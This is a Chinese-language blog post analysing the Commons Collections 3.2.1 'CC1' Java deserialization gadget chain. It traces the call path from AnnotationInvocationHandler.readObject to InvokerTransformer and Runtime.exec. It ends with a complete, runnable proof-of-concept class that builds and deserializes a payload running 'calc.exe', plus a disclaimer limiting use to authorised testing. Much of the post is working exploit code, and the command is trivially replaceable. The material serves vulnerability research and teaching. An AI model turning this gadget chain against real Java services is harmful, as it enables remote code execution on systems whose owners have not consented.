cc1链:分析与实现

cc1对jdk有要求:jdk1.8以前(8u71之后已修复不可利用)

Java Archive Downloads - Java SE 8 (oracle.com)

maven依赖

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

分析

Runtime.getRuntime().exec("calc.exe");为payload进行分析,从触发类开始写到传入类。

核心目的:传入一个类对象,它的反序列化方法执行命令,同时执行的命令应该可控

触发顺序如下:

发送恶意序列化类
AnnotationInvocationHandler.readobject
AbstractInputCheckedMapDecorator.SetValue
TransformedMap.checkSetValue
ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer

我们从下往上看

ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer

首先是Transformer的子类ConstantTransformer和InvokerTransformer

ConstantTransformer

image

其构造方法接收了一个对象,该对象赋值成员变量,然后在transform方法中将该对象返回

InvokerTransformer

image

其构造方法接收一个字符串(方法名),类对象数组(参数类型),对象数组(参数),这可以描述一个方法。

其transform方法会接受一个对象输入,然后通过反射调用该对象的某个方法(取决于你构造函数的传参)

例如下面代码可以用来描述

new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[] {"calc.exe"}
);

XXX.exec("calc.exe")

ChainedTransformer

image

其构造函数可以传入应该Transformer数组

执行transform方法时,会依次执行数组中的transformer方法并将参数传递下去

例如:ChainedTransformer有ABCDE五个Transformer

r1=A.transform()
r2=B.transform(r1)
r3=CA.transform(r2)
……

结合上面ConstantTransformer和InvokerTransformer就可以做到

从ConstantTransformer获得对象,然后通过InvokerTransformer执行该对象的方法

考虑到执行命令的Runtime是单例模式,我们可以通过反射的方式获取类对象,然后反射获取构造方法,调用构造方法获得Runtime,最后调用exec执行命令

System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n" +
                "    在transform时将会返回Runtime类A");
ConstantTransformer a=new ConstantTransformer(Runtime.class);

System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n" +
                "    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
InvokerTransformer b=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]});

System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n" +
                "    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
InvokerTransformer c =new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[] {null, new Object[0]});

System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n" +
                "    在transform时将会通过D.exec(\"calc.exe\")执行命令");
InvokerTransformer d=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"});

Transformer[] transformers = new Transformer[]{a, b, c, d};

System.out.println("[+]使用ChainedTransformer将该数组链接起来\n" +
                "    执行ChainedTransformer.transform将会执行上述链条");
Transformer transformerChain = new ChainedTransformer(transformers);

可惜的是在执行transform方法时才有效果,而不是反序列化时就能触发

TransformedMap

谁能够触发ChainedTransformer的transform方法呢?

TransformedMap的checkSetValue,前提条件:在构造时候传入ChainedTransformer

image
image

System.out.println("[+]构造TransformedMap\n" +
        "    调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
Map inMap = new HashMap();
inMap.put("value", "cc");
Map outerMap = TransformedMap.decorate(inMap, null, transformerChain);

那么谁又能调用这个checkSetValue呢?

那就是AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator

image

image

那么谁调用了这个setValue呢?

在jdk源码中的AnnotationInvocationHandler中的readObject方法调用了!

下载地址:jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)

AnnotationInvocationHandler

终于我们在茫茫代码中找到了一个反序列化方法,在com.reflect.annotation中
image

但是这个输入的memberValue可控吗?
image

可控!芜湖起飞

编写代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void mypoc() throws Exception {
        System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n    在transform时将会返回Runtime类A");
        ConstantTransformer a=new ConstantTransformer(Runtime.class);

        System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n    在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
        InvokerTransformer b=new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]});

        System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n    在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
        InvokerTransformer c =new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[] {null, new Object[0]});

        System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n    在transform时将会通过D.exec(\"calc.exe\")执行命令");
        InvokerTransformer d=new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[] {"calc.exe"});

        Transformer[] transformers = new Transformer[]{a, b, c, d};

        System.out.println("[+]使用ChainedTransformer将该数组链接起来\n    执行ChainedTransformer.transform将会执行上述链条");
        Transformer transformerChain = new ChainedTransformer(transformers);

        System.out.println("[+]构造TransformedMap\n    调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
        Map inMap = new HashMap();
        inMap.put("value", "cc");
        Map outMap = TransformedMap.decorate(inMap, null, transformerChain);

        System.out.println("[+]构造AnnotationInvocationHandler\n    其readobject方法能够触发TransformedMap.checkSetValue");
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor makefunc = cls.getDeclaredConstructor(Class.class, Map.class);
        makefunc.setAccessible(true);
        Object obj = makefunc.newInstance(Retention.class, outMap);

        // 为这个对象生成字节序列
        System.out.println("\n[+]序列化");
        ByteArrayOutputStream serialize = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(serialize);
        oos.writeObject(obj);
        oos.close();

        // 执行反序列化
        System.out.println("    "+Base64.getEncoder().encodeToString(serialize.toByteArray()));
        System.out.println("[+]反序列化触发");
        ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));
        Object run = (Object) unserialize.readObject();
    }
}

执行

image

完结撒花!


相信国家相信党,黑客没有好下场
请遵守相关法律法规,文中技术仅用于有授权的安全测试,禁止用于非法活动!
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中,您应确保自己的所有行为符合当地法律法规,且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。


posted @ 2024-04-10 16:32  aixve  阅读(13)  评论(0编辑  收藏  举报